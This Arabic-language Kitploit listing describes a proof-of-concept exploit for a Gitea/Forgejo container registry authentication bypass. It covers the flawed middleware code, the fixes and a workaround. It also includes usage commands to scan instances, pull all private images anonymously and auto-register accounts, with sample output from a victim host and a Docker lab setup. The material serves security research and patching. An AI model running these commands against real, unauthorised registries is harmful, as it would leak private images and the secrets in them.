Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-27771 — CVE-2026-27771 - PoC لاستغلال تجاوز المصادقة في سجل حاويات Gitea/Forgejo - سحب صور الحاويات الخاصة دون مصادقة | Kitploit
أدوات/GitHubGitHub/portbuster1337/cve-2026-27771
المصادقة والترخيصأمن الحاوياتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمالفريق الأحمر
GitHubportbuster1337/cve-2026-27771

CVE-2026-27771

CVE-2026-27771 - PoC لاستغلال تجاوز المصادقة في سجل حاويات Gitea/Forgejo - سحب صور الحاويات الخاصة دون مصادقة

عرض المستودع
186منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-27771 — تجاوز المصادقة في سجل حاويات Gitea

CVSS: غير متاح (غير منشور)
يتأثر به: Gitea < 1.26.2 (جميع الإصدارات التي تحتوي على سجل حاويات OCI)
يتأثر أيضًا: Forgejo (تم تأكيده بواسطة NoScope)
اكتُشف بواسطة: NoScope
أُصلح في: Gitea v1.26.2 (20 مايو 2026)

إخلاء مسؤولية: يُقدَّم هذا الدليل لإثبات المفهوم لأغراض تعليمية وبحوث أمنية مصرّح بها فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. المؤلفون غير مسؤولين عن أي إساءة استخدام لهذا الكود. اختبر فقط ضد الأنظمة التي تملكها أو لديك إذن صريح لاختبارها.

ملخص

يمكن للمهاجمين عن بُعد دون مصادقة سحب صور الحاويات الخاصة من مثيلات Gitea. تعمل نقاط نهاية مواصفات توزيع OCI (/v2/<name>/manifests/<ref>, /v2/<name>/blobs/<digest>) على تقديم المحتوى للمستخدمين الشبحيين/المجهولين (UserID: -1) دون التحقق من رؤية مالك حزمة الحاوية (خاصة/محدودة/عامة).

حدد NoScope حوالي 31,750+ مثيلًا مواجهًا للإنترنت في أكثر من 30 دولة. وظل هذا الخلل غير مكتشف لنحو 4 سنوات.

السبب الجذري

تكمن الثغرة في الوسيط ReqContainerAccess (routers/api/packages/container/container.go):

root@kitploit:~
// v1.25.4 — vulnerable
func ReqContainerAccess(ctx *context.Context) {
    if ctx.Doer == nil || (setting.Service.RequireSignInViewStrict && ctx.Doer.IsGhost()) {
        apiUnauthorizedError(ctx)
    }
}

وهذا يتحقق فقط من:

  1. هل ctx.Doer يساوي nil؟ (طلب غير مصادق بدون أي رمز مميز)
  2. هل RequireSignInViewStrict مفعّل وهل المستخدم شبح؟

وهو لا يتحقق من إعداد رؤية مالك الحزمة (VisibleTypePublic, VisibleTypeLimited, VisibleTypePrivate). يمر المستخدم الشبح (UserID: -1) ذو النطاق الفارغ مباشرة ويمكنه الوصول إلى أي حزمة حاوية.

نقطة نهاية /v2/token (دالة Authenticate) تمنح رموزًا مجهولة دون بيانات اعتماد عندما يكون RequireSignInViewStrict هو false.

الإصلاح (PR #37290 + PR #37610)

تم تطبيق إصلاحين في 1.26.2:

  1. PR #37290 — رأس Basic realm الشرطي في apiUnauthorizedError — يوقف إرسال Basic realm على المثيلات العامة لتجنب إرباك عملاء Docker، والتحقق من الرؤية لكل مالك في تحدي المصادقة.

  2. PR #37610 — تصنيفات رؤية الحزم + فحص إذن مصدر Composer — يضيف نموذج الأذونات الأساسي للحزم. دون هذه التصنيفات، لم تكن هناك طريقة للتمييز بين الحزم الخاصة/الداخلية/العامة في مسار فحص الأذونات.

حل بديل

root@kitploit:~
[service]
REQUIRE_SIGNIN_VIEW = true

يؤدي هذا إلى حظر كل الوصول المجهول (بما في ذلك المستودعات العامة)، مما يغلق مسار الاستغلال. ومع ذلك، لا يزال نموذج الأذونات الأساسي معطلاً — لا يزال بإمكان أي مستخدم مصادق الوصول إلى جميع الحزم. قم بالترقية إلى 1.26.2+ للحصول على الإصلاح الحقيقي.

إثبات المفهوم (PoC) للاستغلال

المتطلبات الأساسية

  • Python 3.8+
  • مثيل Gitea الهدف < 1.26.2 مع تفعيل سجل حاويات OCI (v1.17.0+)

الاستخدام

root@kitploit:~
python3 CVE-2026-27771-exploit.py scan <url>                       # Discover repos/tags
python3 CVE-2026-27771-exploit.py scan <url> --token <sha1> --username <user>
python3 CVE-2026-27771-exploit.py pull <url>                        # Pull all images
python3 CVE-2026-27771-exploit.py pull <url> --repo owner/image     # Pull specific repo
python3 CVE-2026-27771-exploit.py pull <url> --dry-run               # Show what would be pulled
python3 CVE-2026-27771-exploit.py pull <url> --token <sha1> --username <user>
python3 CVE-2026-27771-exploit.py register <url> --username u --password p --email [email protected]

أمثلة

root@kitploit:~
# Scan a vulnerable instance
python3 CVE-2026-27771-exploit.py scan https://gitea.example.com

# Pull all private container images (anonymous)
python3 CVE-2026-27771-exploit.py pull https://gitea.example.com

# Pull with personal access token (for REQUIRE_SIGNIN_VIEW instances)
python3 CVE-2026-27771-exploit.py pull https://gitea.example.com \
  --token 3afb22d5cf0295b5af686dcbbc765600d6dc5dfd --username myuser

# Auto-register on instances without captcha
python3 CVE-2026-27771-exploit.py register https://gitea.example.com \
  --username myuser --password mypass --email [email protected]

ماذا يفعل الاستغلال

  1. الفحص الأولي: يتحقق من الإصدار، ونقطة نهاية /v2/، ويكتشف توفر التسجيل، ويحصل على رمز مجهول أو يستبدل PAT بـ JWT
  2. التعداد: يسرد جميع مستودعات الحاويات عبر /v2/_catalog (يُرجع جميع المستودعات — العامة والخاصة — بسبب الرؤية المعطلة)
  3. السحب: لكل مستودع، يسرد العلامات، ويجلب OCI manifest، ويحل صور متعددة البنى، وينزّل جميع طبقات blob
  4. الاستخراج: يستخرج تلقائيًا طبقات tar المضغوطة بـ gzip إلى pulled_<repo>/extracted/

التعامل مع الرموز

  • مجهول: إذا كان REQUIRE_SIGNIN_VIEW=false، يحصل على رمز شبح دون بيانات اعتماد
  • PAT (SHA1): إذا كان --token سلسلة hex من 40 حرفًا، يستبدلها تلقائيًا بـ OCI JWT عبر Basic auth
  • JWT: إذا كان --token يحتوي على نقاط، يستخدمه مباشرة كرمز Bearer

مثال على المخرجات

root@kitploit:~
[*] Pre-flight: https://victim.gitea.com
[+] Version (API): 1.25.4
[+] /v2/ -> 401
[+] Anonymous token granted (UserID: -1, Scope: '')
[+] /v2/_catalog -> 200 (3 repos)
[+] Vulnerable: True (require_signin=False)

[*] Container repositories: 3
    acme/production-app: tags=['latest', 'v2.1.0']
    acme/internal-db: tags=['latest', 'v1.3.0']
    team-xyz/secret-ml-model: tags=['v0.9.2']

  [acme/production-app]
  Tags: ['latest']
    └─ manifest latest: multi-arch, digest=sha256:a1b2c3..., 12 blobs
      [1/12] sha256_a1b2c3... (28.4 MB)
      ...
      manifests saved
      extracted 39862 files to pulled_acme_production-app/extracted

إعادة الإنتاج

إعداد بيئة اختبار

root@kitploit:~
# 1. Deploy Gitea 1.25.x with Docker (vulnerable version)
docker run -d --name gitea-vuln -p 3000:3000 \
  -e GITEA__service__REQUIRE_SIGNIN_VIEW=false \
  gitea/gitea:1.25.4

# 2. Create a user and push a private Docker image
docker login localhost:3000 -u testuser -p testpass
docker pull alpine:latest
docker tag alpine:latest localhost:3000/testuser/secret-app:latest
docker push localhost:3000/testuser/secret-app:latest

# 3. Run the exploit (no credentials)
python3 CVE-2026-27771-exploit.py pull http://localhost:3000

# The exploit will find testuser/secret-app and download all layers.
# Files will be in pulled_testuser_secret-app/extracted/

التحقق من الإصلاح

root@kitploit:~
# Upgrade to patched version
docker stop gitea-vuln
docker run -d --name gitea-fixed -p 3000:3000 \
  gitea/gitea:1.26.2

# Anonymous token should be denied (401)
python3 CVE-2026-27771-exploit.py scan http://localhost:3000
# Expected: "Version >= 1.26.2 (patched)"

المراجع

  • https://noscope.com/blog/gitea-instances-exposing-private-container
  • https://blog.gitea.com/release-of-1.26.2/
  • https://github.com/go-gitea/gitea/pull/37290
  • https://github.com/go-gitea/gitea/pull/37610
  • https://github.com/go-gitea/gitea/security/advisories
تنزيل الأداة